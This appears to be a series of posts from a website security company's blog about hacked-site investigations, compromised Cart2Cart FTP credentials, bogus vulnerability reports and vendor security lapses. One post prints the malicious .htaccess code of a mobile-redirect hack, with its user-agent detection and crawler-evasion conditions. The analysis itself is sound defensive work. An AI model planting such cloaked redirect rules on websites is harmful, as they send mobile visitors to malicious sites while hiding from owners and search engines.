It Appears That FTP Login Credentials Provided To Cart2Cart Were Compromised

When dealing with hacked websites one of the important parts of the process is to determine how the website was hacked. If that isn’t it done the vulnerability that was exploited is more likely to remain open and be exploited again. Amazingly many companies that do hack cleanups don’t do that (which frequently leads to us being hired to re-clean hacked websites).

While dealing with one such case recently we came across evidence that company Cart2Cart was compromised at some point leading to a hacker gaining access to FTP login credentials for websites that were provided to Cart2Cart.

The hacking case we were dealing with was rather serious, as the breach first lead to thousands of dollars of decline fees with a payment processor and then later after that issue was resolved the breach lead to the compromise of credit card credentials used on the website (which is a good reminder of why figuring how the website was hacked and closing the vulnerability in the beginning is so important).

One of the places that is checked when working to determine the source of the hack is the log of FTP activity. For this particular website one of the things we first noticed while looking over that was that there had been access from IP addresses in the Netherlands

Tue Jun 09 05:45:57 2015 0 3326 /home4/[redacted]/public_html/oc_1/bridge2cart/config.php a _ o r c2c@[redacted].com ftp 1 * c
Tue Jun 09 05:46:24 2015 8 911360 /home4/[redacted]/public_html/oc_1/download/XLS-BACKUP-01-01-2014_15-32.xls b _ o r c2c@[redacted].com ftp 1 * c
Tue Jun 09 05:46:50 2015 1 81817 /home4/[redacted]/public_html/oc_1/sql.php a _ i r c2c@[redacted].com ftp 1 * c
Tue Jun 09 05:52:08 2015 0 1296 /home4/[redacted]/public_html/oc_1/config.php a _ o r c2c@[redacted].com ftp 1 * c

and Russia

Thu Jul 16 11:22:17 2015 2 403657 /home4/[redacted]/public_html/oc_1/adm.php b _ i r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:24:50 2015 0 1267 /home4/[redacted]/public_html/oc_1/config.php b _ o r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:26:35 2015 2 403657 /home4/[redacted]/public_html/oc_1/adm.php b _ i r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:27:22 2015 0 7698 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ o r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:27:27 2015 0 7698 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ o r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:29:59 2015 0 9761 /home4/[redacted]/public_html/oc_1/catalog/controller/payment/authorizenet_aim.php b _ i r c2c@[redacted].com ftp 1 * c
Thu Jul 16 11:38:00 2015 0 1267 /home4/[redacted]/public_html/oc_1/config.php b _ o r c2c@[redacted].com ftp 1 * c

during the summer. Since the website is US based that is usually a strong indication that the FTP login credentials have been compromised. Though it can sometimes be due to someone traveling or use of a foreign service provider. In this case we thought at first it might be the latter because the FTP account was one that looked to have been created especially for the service provided Cart2Cart. Checking with the client we found that it was indeed set up for them, but that their use of Cart2Cart ended more than a year ago.

At this point we had a pretty good idea based on what was in the FTP log that a FTP account had been compromised, but without knowing how it got compromised we couldn’t be sure how to prevent that from happening again or if other logins were also compromised as well. So what was the source of the compromise?

When we did a search on the Russian IP address,, we came across a forum thread from January that described a very similar situation. In that case a FTP account that was “created expressly for [Cart2Cart], no other reason” was making unauthorized changes to the website’s payment module when Cart2Cart should no longer have been accessing it. The only major difference between the two cases is that we were dealing with an OpenCart based website while in the other case it was a PrestaShop based website.

In the thread someone from Cart2Cart responded:

As far as I can see from your screenshots, IP address doesn’t belong to Cart2Cart.

The chances that two FTP accounts created especially for use by Cart2Cart were compromised with malicious access coming from the same IP address and the source of the compromise of these logins not being on Cart2Cart’s end seem to be incredibly small. Since they seem to be a legitimate service provided we don’t believe that they were involved in the hacking themselves, so that leaves us to believe that they must have been compromised at some point.

Their lack of concern in that thread that they might have been compromised doesn’t really jibe with the claim on their website that:

We have taken every precaution to ensure that our systems which store access information is highly secure.

It is also worth noting that the first malicious FTP access to the website we were dealing with, as shown in the FTP log, was two months after the time that forum thread was active.

If you have used Cart2Cart in the past, now would be a good time to make sure you have changed any password you provided them and probably make additional checks of your logs and files to make sure you have not been compromised as well.

Posted in Bad Security, Website Hacked | Tagged | 1 Comment

“Very Important Security Fix” Coming For Joomla On Thursday

Joomla has put out an announcement that a new version, 3.4.5, will be released at 10 AM Eastern on Thursday that will contain a “very important security fix”. No details of what is the issue being fixed is have been released, but this is the first time that they have put out announcement like this as far back as we can remember, so it appears to be something that would be a major concern.

The last release that fixed a vulnerability that was exploitable in a non-targeted fashion was version 2.5.3, which came out in March of 2012.

For those still running 2.5.x, it would be a good time for you to upgrade as support for that version ended back in December. That upgrade often isn’t a one-click upgrade.

Posted in Joomla | Leave a comment

Hacking Team Failed To Take Basic Security Measure With Their Website

Over the last day there has been lot of news coverage of the hacking a company called Hacking Team, which sells surveillance software to various governments. Beyond the issues raised by the documents released, there is the also the implications of a cybersecurity firm being able to be hacked. CNET put it this way:

The hack shows just how vulnerable we all are to data breaches. If anyone should have been able to prevent an intruder from compromising their files, you’d think it would be the people who sell spy software that steals other people’s files. Apparently they weren’t prepared, though. Of course, the company’s fraught status in the hacking world might have made them more of a target to attackers than a regular person would be.

Since we deal in the security of websites we interested to see if they were even taking basic security measures with their website (we have often found that security companies are not). While their website is currently down, taking a look at the Google cache of their homepage showed a glaring security issue. As can be seen by looking at the meta generator tag in the source code of the page they are still running Joomla 1.5:


That version of Joomla reached end of life nearly three years, in September of 2012, so they should have longed moved to a newer, supported version of the software.

It is possible that they were taking better care of the security of the rest of their systems, but the lax security of their website certainly could be an indication of larger issues.

Posted in Bad Security, Outdated Web Software | Leave a comment

Security Company with WordPress Security Plugin Doesn’t Keep Their Own WordPress Installation Up to Date

When it comes to trying to improve the security of websites, one of the problems that we see is that while many people are still not taking basic security measures with their websites there are plenty of companies pushing additional security products and services. In some cases we have seen that the inflated claims of some of those products and services lead people to not take basic measures, since those products and services claim that they will prevent them from being hacked, and because they haven’t taken the basics security measures they end up getting hacked. While we do don’t have much evidence, we are concerned that other people don’t take basic security steps since keeping seems so daunting when they are told they need to being using all of these different products and services to keep their website secure.

A question that underlies this is if these companies actually are all that concerned about security or if they just trying to make a quick buck peddling products and services whose security implications they have little understanding. One way quick check to get an idea of their concern for security is to see if they are keeping the software running their own websites up to date. The results we have seen in the past haven’t been good, like the time we found that all of the companies we looked that were advertising to clean up hacked Joomla websites were all running outdated software (mostly Joomla). This time around we happen to run across the website of a company name Centrora Security, you can see from the results of a Chrome extension we make that they are not keeping the WordPress installation running their website up to date:

The Centrora Security website is Running WordPress Version 4.0.1

Not only have they not updated it for ever over a year and not updated it for the two most recent major versions, 4.1 and 4.2, but they have missed three security updates for 4.0.x series: 4.0.2, 4.0.4, and 4.0.5. Since WordPress 3.7, minor version updates like those security updates would normally be applied automatically, so either Centrora Security unwisely disabled that feature or some bug is stopping that from happening in their case. If it is the later then Centrora Security could actually help to improve the security of WordPress websites by working the WordPress developers to resolve that, so that others impacted by the issue could also start getting updates.

While they don’t take the basic step of keeping WordPress up to date, they produce a WordPress security plugin that they claim is the “MOST POWERFUL WORDPRESS SECURITY PLUGIN”. Probably not all that surprisingly they are not running the latest version of their own plugin on the website (the readme.txt for the plugin on the websites is from version 4.8.4), even though keeping WordPress plugin update to date is also an important security measures.

Posted in Bad Security, Outdated Web Software, WordPress Plugins | Tagged | Leave a comment

Magento Still Failing To Take Basic and Important Security Measure with Their Software

Last week Magento had a blog post about a spate of false reports of security issues in the Magento software. We will take a closer look at the role that bad security companies and bad security journalism play in that sort of situation in an upcoming post, but something else that stood out to us with that was the fact that they feel the need to put out a post to refute non-existent security issues while still failing to take a basic and important security measure with their software. That security measure being that the current version of your software shouldn’t have known security vulnerabilities in it. This has unfortunately has been the case again for Magento, this time for over a month and a half and counting.

Back on February 9, Magento released a security patch for a very serious vulnerability. It wasn’t until May 1 that they released a new version, which included the security fix built-in, meaning that for nearly three months someone downloading the latest version would be getting something known to be insecure. Then on May 14 another security patch, SUPEE-5994, was released, which is they describe as:

This patch addresses multiple security vulnerabilities in Magento Community Edition software, including issues that can put customer information at risk.

While a major new version, 1.9.2, is expected shortly, as of now the latest version is still, which doesn’t include the security fixes included in SUPEE-5994. If Magento truly means it when they say in that blog post that “The security of the Magento platform is our top priority”, this practice needs to change going forward.

Posted in Bad Security, Magento | Leave a comment

Behind the Scenes of a Hack That Causes a Website to Redirect on Mobile Devices

When hackers hack websites they generally try to do things in a way that won’t be easily spotted by the webmaster. Two ways of doing that have long been popular have been to serve up different content when the websites pages are requested by crawlers for search engines (cloaking) and redirecting the website to another location when accessed through a search engine. Recently we have been having an increasing number of people come to us to get their websites cleaned up after their website starts being redirected to a malicious website when accessed from a mobile device.

This redirection can occur on the server side or on the client side. On the server side it would usually be caused malicious code added somewhere in the code that generates the website’s pages or by code added to a .htaccess file. On the client side it would usually be caused by malicious JavaScript code being added to the page or one of the JavaScript files loaded with the page.

Let’s take a look at the code added in one recent .htaccess based incident we cleaned up to get a better idea of what is going on behind the scenes with this type of hack.

First the code turns on Apache’s mod_rewrite module to allow the rest of the code to function.

RewriteEngine on

Next up is the code for detecting that requests is coming from mobile device, which you can see the code is fairly extensive. It starts with some obvious targets, looking for requests where the user agent given includes a mention of popular mobile device software and hardware like Android, BlackBerry, and iPhone. It then checks for a fairly long list of other devices, including what looks to be references for more obscure devices like the Bird D736 and Spice S-940.

RewriteCond %{HTTP_USER_AGENT} android [NC,OR]
RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]
RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]
RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (mini\ 9.5|vx1000|lge\ |m800|e860|u940|ux840|compal|wireless|\ mobi|ahong|lg380|lgku|lgu900|lg210|lg47|lg920|lg840|lg370|sam-r|mg50|s55|g83|t66|vx400|mk99|d615|d763|el370|sl900|mp500|samu3|samu4|vx10|xda_|samu5|samu6|samu7|samu9|a615|b832|m881|s920|n210|s700|c-810|_h797|mob-x|sk16d|848b|mowser|s580|r800|471x|v120|rim8|c500foma:|160x|x160|480x|x640|t503|w839|i250|sprint|w398samr810|m5252|c7100|mt126|x225|s5330|s820|htil-g1|fly\ v71|s302|-x113|novarra|k610i|-three|8325rc|8352rc|sanyo|vx54|c888|nx250|n120|mtk\ |c5588|s710|t880|c5005|i;458x|p404i|s210|c5100|teleca|s940|c500|s590|foma|samsu|vx8|vx9|a1000|_mms|myx|a700|gu1100|bc831|e300|ems100|me701|me702m-three|sd588|s800|8325rc|ac831|mw200|brew\ |d88|htc\/|htc_touch|355x|m50|km100|d736|p-9521|telco|sl74|ktouch|m4u\/|me702|8325rc|kddi|phone|lg\ |sonyericsson|samsung|240x|x320|vx10|nokia|sony\ cmd|motorola|up.browser||mmp|symbian|smartphone|midp|wap|vodafone|o2|pocket|mobile|treo) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^(1207|3gso|4thp|501i|502i|503i|504i|505i|506i|6310|6590|770s|802s|a\ wa|acer|acs-|airn|alav|asus|attw|au-m|aur\ |aus\ |abac|acoo|aiko|alco|alca|amoi|anex|anny|anyw|aptu|arch|argo|bell|bird|bw-n|bw-u|beck|benq|bilb|blac|c55\/|cdm-|chtm|capi|cond|craw|dall|dbte|dc-s|dica|ds-d|ds12|dait|devi|dmob|doco|dopo|el49|erk0|esl8|ez40|ez60|ez70|ezos|ezze|elai|emul|eric|ezwa|fake|fly-|fly_|g-mo|g1\ u|g560|gf-5|grun|gene|go\.w|good|grad|hcit|hd-m|hd-p|hd-t|hei-|hp\ i|hpip|hs-c|htc\ |htc-|htca|htcg|htcp|htcs|htct|htc_|haie|hita|huaw|hutc|i-20|i-go|i-ma|i230|iac|iac-|iac\/|ig01|im1k|inno|iris|jata|java|kddi|kgt|kgt\/|kpt\ |kwc-|klon|lexi|lg\ g|lg-a|lg-b|lg-c|lg-d|lg-f|lg-g|lg-k|lg-l|lg-m|lg-o|lg-p|lg-s|lg-t|lg-u|lg-w|lg\/k|lg\/l|lg\/u|lg50|lg54|lge-|lge\/|lynx|leno|m1-w|m3ga|m50\/|maui|mc01|mc21|mcca|medi|meri|mio8|mioa|mo01|mo02|mode|modo|mot\ |mot-|mt50|mtp1|mtv\ |mate|maxo|merc|mits|mobi|motv|mozz|n100|n101|n102|n202|n203|n300|n302|n500|n502|n505|n700|n701|n710|nec-|nem-|newg|neon|netf|noki|nzph|o2\ x|o2-x|opwv|owg1|opti|oran|p800|pand|pg-1|pg-2|pg-3|pg-6|pg-8|pg-c|pg13|phil|pn-2|pt-g|palm|pana|pire|pock|pose|psio|qa-a|qc-2|qc-3|qc-5|qc-7|qc07|qc12|qc21|qc32|qc60|qci-|qwap|qtek|r380|r600|raks|rim9|rove|s55\/|sage|sams|sc01|sch-|scp-|sdk\/|se47|sec-|sec0|sec1|semc|sgh-|shar|sie-|sk-0|sl45|slid|smb3|smt5|sp01|sph-|spv\ |spv-|sy01|samm|sany|sava|scoo|send|siem|smar|smit|soft|sony|t-mo|t218|t250|t600|t610|t618|tcl-|tdg-|telm|tim-|ts70|tsm-|tsm3|tsm5|tx-9|tagt|talk|teli|topl|hiba|up\.b|upg1|utst|v400|v750|veri|vk-v|vk40|vk50|vk52|vk53|vm40|vx98|virg|vite|voda|vulc|w3c\ |w3c-|wapj|wapp|wapu|wapm|wig\ |wapi|wapr|wapv|wapy|wapa|waps|wapt|winc|winw|wonu|x700|xda2|xdag|yas-|your|zte-|zeto|acs-|alav|alca|amoi|aste|audi|avan|benq|bird|blac|blaz|brew|brvw|bumb|ccwa|cell|cldc|cmd-|dang|doco|eml2|eric|fetc|hipt|http|ibro|idea|ikom|inno|ipaq|jbro|jemu|java|jigs|kddi|keji|kyoc|kyok|leno|lg-c|lg-d|lg-g|lge-|libw|m-cr|maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|mywa|nec-|newt|nok6|noki|o2im|opwv|palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|rozo|sage|sama|sams|sany|sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo|teli|tim-|tosh|treo|tsm-|upg1|upsi|vk-v|voda|vx52|vx53|vx60|vx61|vx70|vx80|vx81|vx83|vx85|wap-|wapa|wapi|wapp|wapr|webc|whit|winw|wmlb|xda-) [NC,OR]
RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR]
RewriteCond %{HTTP:Profile} .+ [NC,OR]
RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]
RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]
RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]

Next the code stops the redirection from occurring if the requests are identified as coming from a variety of other sources, including search engine crawlers and PlayStation devices.

RewriteCond %{QUERY_STRING} !noredirect [NC]
RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleWebKit\/533\.1\ \(KHTML,\ like\ Gecko\)\ Version\/4\.0\ Mobile\ Safari\/533\.1\ offline)$ [NC]
RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC]

Finally the code that causes the redirection, in this case the website is redirected to when accessed from mobile devices.

RewriteRule ^(.*)$ [L,R=302]

Detecting Server Side Redirects

For server side redirects we have put together a small tool that shows if a given web page redirects when accessed by a mobile device, which should make it easier to troubleshoot that type of situation.

The Cause of The Hack

Since a mobile redirection can be done in a variety ways, there isn’t one thing that would allow this type of hack to occur. With the above code added to the .htaccess we determined it had been caused by a security vulnerability in an outdated WordPress plugin (a good reminder to make sure you keep all of the software on your website up to date). If you are dealing with a hack with this type of redirection it is important to review the logs and other evidence available to try to determine how the hack occurred, so you can be sure the vulnerability has been fixed and the website doesn’t get re-hacked. You should also make sure you are taking the other important security precautions going forward.

Posted in Website Hacked | Leave a comment

Sucuri Security Uses Bad Data to Try to Scare People into Using Their Service

When it comes to security companies most of what we see is quite bad. Most of them don’t have a good understanding of security, sell products and services that can’t do what they claim they can, or are some combination of both of those things. Sucuri Security is one of the worst companies we have seen and would fall in to that last category. We have been hired on quite a few occasions to re-clean websites they previously hired to clean, for which they failed to basic parts of the cleanup – like determining how the website was hacked – that if done, should have prevented the website from being re-hacked in the first place. Among things we have seen, there was the recent situation we came across where we found that they were helping to put WordPress websites at greater risk of being hacked.

That isn’t just our perspective, last week someone contacted us wanted to know if we knew a good alternative to Sucuri due to this litany problems they had with them:

I’ve been using Sucuri for about 5-6 months and it’s been the worst experience I’ve had with a service provider that I can remember. CloudProxy throws false positives all the time, and I explicitly asked them to remove it from one of our 5 sites multiple times and support ignored the request. The support has been bad from day one–beyond belief bad–not just in this instance but with nearly all the tickets I’ve opened.

Three years ago we discussed their SiteCheck security scanner’s poor quality and something we ran across the other day shows that it hasn’t gotten better, but in the meantime they have turned up the fear factor to try to scare people into using their service.

While we were looking too see if anyone else had discussed a false report of a vulnerability in WordPress 4.2.2, we can across a mention that a security company was running a vulnerable version of the Apache HTTP server on their website. That would be interesting if it was true. Following the link on that post brought us to this page on Sucuri’s SiteCheck:


A quick check showed that Sucuri was providing misleading information, we’ll explain that in second, but first let’s look at their rather scary warnings that came along with that bad information. First they warn “Outdated Software detected. Immediate Action is Recommended.”:


Then they warn of a “High” severity issue due to the website being outdated. and recommend to “PATCH AND PROTECT With Sucuri Firewall”:


Then they warn that an “Outdated Web Server Apache Found”:


They are a couple of major problems with this, first if the Apache HTTP Server version was actually outdated the solution would be to update it, not buy some security service they provide. Only in small text at the bottom do they suggest that “You can contact your host about it and ask them to update for you”:


Their claim that their CloudProxy service can automatically update the software is simply untrue.

The bigger problem is that Sucuri has no idea if the Apache HTTP server is in fact outdated in this instance and therefore if the “High” severity issue actually exists. To explain this let’s start by taking a look at a second screenshot, this time of our Server Details extension for Chrome on the same website:


You can see it also identifies the website as using version 2.2.3 of the Apache HTTP Server, but it doesn’t label it as being outdated (despite that being a capability of the extension). The reason it doesn’t label it as being outdated is due to the second piece of information, that the server is running CentOS 5. The CentOS operating system is based on Red Hat Enterprise Linux (RHEL), which means that instead of introducing new versions of included software when a security fix is released they backport the security fix to the existing version. That means that while that server is using an outdated version of the Apache HTTP Server, it isn’t necessarily outdated in a security sense. If Sucuri Security did in fact have the security expertise they claim to have, they would know about this and properly handled this situation.

Now you might be wondering how hard it would have been for them to check for this type of situation before showing such dire warnings. They way we get the information for our extension and how Sucuri probably get their data is to look at the Server HTTP header. For this website it is this:

Apache/2.2.3 (CentOS)

CentOS is one of three words in it, so it isn’t hard to detect. (We are able to say the website is running version 5 of CentOS based on the Apache HTTP Server version identified in that.)

Posted in Bad Security, Sucuri Security | Leave a comment

This Is Not a Remote File Inclusion Vulnerability in WordPress 4.2.2

As part our effort to improve the security WordPress plugins we monitor new reports of WordPress related vulnerabilities so that we can help to make sure they get fixed (and add them to our Plugin Vulnerabilities plugin). While most reports involve actual vulnerabilities, fairly often we run across reports for vulnerabilities that don’t exist. Today we ran across one really bad report worth discussing since the claimed vulnerability is so severe. The vulnerability report is titled “WordPress 4.2.2 – Remote File Inclusion“. It would be a big deal if the latest version of WordPress had any publicly disclosed vulnerability, but a remote file inclusion vulnerability would be a very big deal since that is type of vulnerability that is highly likely to be exploited by a hacker.

The first part of the advisory clearly indicates the vulnerability in the latest version of WordPress since the Software Link is to

# Exploit Title : WordPress 4.2.2 - Remote File Inclusion
# Exploit Author : amir disconnect
# Vendor Homepage :
# Date: 30/6/2015
# Tested On : Linux Kali , Windows 7
# Software Link :
# Version : 4.2.2
# CVE: N/A

Then immediately after that it becomes clear the advisory is related to a plugin, since the claimed vulnerable file is a file in the Shortcake (Shortcode UI) plugin, which doesn’t come with WordPress:

# Remote File Inclusion

# Proof


So right there we can rule this out as being a vulnerability in WordPress, version 4.2.2 or otherwise, but was about it being a vulnerability in the plugin?

What appears to be the claimed vulnerability is mentioned at the end of the advisory:

Note:at the line 172 include apeared without any filter

That refers to the line “include $template;” in the following function:

public function get_view( $template ) {

	if ( ! file_exists( $template ) ) {

		$template_dir = $this->plugin_dir . 'inc/templates/';
		$template     = $template_dir . $template . '.tpl.php';

		if ( ! file_exists( $template ) ) {
			return '';

	include $template;

	return ob_get_clean();

For it to be possible for this to be a vulnerability the value of $template would need to be something that is user assignable, which it isn’t. The variable value is assigned when calling the function get_view. The plugins calls that function in three instances and all of them use pre-assigned values:

echo $this->get_view( 'media-frame' ); // WPCS: xss ok
echo $this->get_view( 'list-item' ); // WPCS: xss ok
echo $this->get_view( 'edit-form' ); // WPCS: xss ok

So there doesn’t appear to be any security issue here.

Posted in Bad Security, WordPress | Leave a comment

The Slow Pace of WordPress Plugin Vulnerabilities Getting Fixed

Since we have been reviewing publicly disclosed security vulnerabilities in WordPress plugins to add them to our Plugin Vulnerabilities plugin, one of the things that has stood out to us is how long it can take for vulnerabilities to get fixed. Part of what makes this stand out is that in many of the cases fixing the vulnerability is quite easy, so it seems that many developers are just not too concerned about keeping their plugins are secure.

Let’s take a look at recent example of this. Back in March g0blin Research discovered an authenticated persistent cross-site scripting (XSS) vulnerability in the plugin AddThis Sharing Buttons (formerly Smart Website Tools by AddThis). This plugin currently has over 200,000 active installs according to, has 12 listed authors, and is developed a private corporation of the same name. The vulnerability was caused by an Ajax function that should only be accessible to Administrator level users being accessible to any registered user. That severely limits the potential danger of the vulnerability since most WordPress based websites do not allow the public to create accounts, so someone relatively trusted with malicious intent would be required for the vulnerability to be exploited. It also should make it quite easy to fix, but as the timeline included with advisory (show below) shows it took the developers over two months to fix the issue:

2015-03-19: Discovered
2015-03-19: Vendor notified
2015-03-19: Vendor responded – link to report provided
2015-03-20: Version 4.0.7 released – issue still present
2015-03-26: Vendor responded with intent to fix
2015-03-31: Update requested from Vendor
2015-04-07: Vendor responded stating that a fix is in progress
2015-04-13: Update requested from Vendor
2015-04-16: Vendor states that fix is undergoing QA
2015-05-04: Update requested from  Vendor
2015-05-11: Update requested from Vendor
2015-05-12: Vendor states that fix was rejected by QA, has been redeveloped and has been passed back to QA for re testing.
2015-06-01: Notified vendor of intention to contact WordPress Plugins team
2015-06-03: Version 5.0.4 released – issue resolved
2015-06-10: Advisory released

So what does it take to get this type of issue fixed?

There are two functions that are often used to check if someone is Administrator level user. The more widely used is to check if the user has the capability to manage_options:

current_user_can( ‘manage_options’ )

That capability is normally only provided to Administrator level and above users, and allows access to WordPress settings pages. That would be particular relevant for fixing this vulnerability as the vulnerable Ajax function is something that would have normally be accessed from a settings page.

The second function checks if a user is a Super Admin or Administrator:


With that function if network mode is enabled (WordPress MutliSite) it will return true if the user is a Super Admin and when network is not enabled it will return true if the user is an Administrator. Beyond the implications that this has with MultiSite websites, there is a potential that someone will accidentally use is_admin when they meant to user is_super_admin. That would be a security problem of its own, as is_admin only checks if an administrative page is being requested and “does not check if the user is logged in, nor if the user even has access to the page being requested”.

So what did the AddThis Developers come up after months and having a fix rejected by quality assurance?

First up is the relevant function before being fixed:

public function addthisAsyncLoading()
if ($this->_checkAsyncLoading()) {
$updateResult = $this->updateSettings($this->_postVariables);
die; //exit from the ajax request

Here is the fixed version (fix bolded):

public function addthisAsyncLoading()
if (current_user_can( ‘manage_options’ ) && $this->_checkAsyncLoading()) {
$updateResult = $this->updateSettings($this->_postVariables);
die; //exit from the ajax request

Why it two months to add less than a line of code is something we don’t understand. It could have been worse, in another case with the same failure to check on a user level, it to  the plugin being pulled the plugin from the Plugin Directory for the vulnerability to be fixed (following us reporting it to Plugin Directory).

Posted in Bad Security, WordPress Plugins | Leave a comment

SiteLock Also Managed to Break a Website

When it comes to improving the security of websites one of the biggest impediments we see is the many companies selling security services. The services they sell generally don’t do much too actually fix the underlying security issues that exist (and could be fixed), while at the same time they spread a lot of bad information making it harder to actually improve security. The general sense we get is that these companies neither care nor know much about security.

One such company we have discussed several times before is SiteLock. In the past we have mentioned how they continue to fail to do a basic security check and don’t do proper hack cleanups. In another post we looked at how GoDaddy was distributing software to clients with known security vulnerabilities while trying to sell an additional service in partnership with SiteLock to “Defend your website against hackers” and “Keep your site clean and secure.”. If SiteLock cared about security you would think they would have insured that GoDaddy resolved that situation before they partnered with them.

A recent situation we were brought in on showed yet more problems with SiteLock. A Joomla website hosted with GoDaddy was hacked and GoDaddy recommend to the website’s owner that they sign up SiteLock’s service to clean it up. SiteLock then did what they describe as 95 percent of the cleanup, but then told the website’s owner that rest of the work would need to be done manually and would incur an additional fee. In the meantime the work SiteLock had done had managed to break the website, with only the homepage loading anymore. The website’s owner was unsettled about SiteLock wanting more money to complete the work and the fact that the website was broken after the partial work was done, so they reached out to us to take a look.

The most likely culprit for when only the homepage is loading for a Joomla website that has Search Engine Friendly URLs enabled, like this one did, is that the .htaccess file has been damaged in some way. The code in that file is needed to translate the Search Engine Friendly URLs in to the form understood by the underlying software. It isn’t uncommon when we are brought to re-clean a hacked website that has been previously cleaned with an automated tool to find that core files have been damaged or deleted entirely, causing varying degrees of problems with the website. In this situation the .htaccess file was missing all of the normal code that should be in it when we took a look at it.

One nice feature of GoDaddy’s standard control panel is that you are able to view how files looked over the previous month or so, which can come in handy when dealing with recently hacked websites. In this case we figured we could pull up the file from right before SiteLock did its cleanup and then restore the file and just remove the malicious code in it. Surprisingly there was no malicious code in the file, so unless some malicious code was added between when backup file was made that day and the time of their cleanup, it looks like SiteLock managed somehow to damage a file that had not contained any malicious code and shouldn’t have been touched.

Posted in Bad Security | Tagged | Leave a comment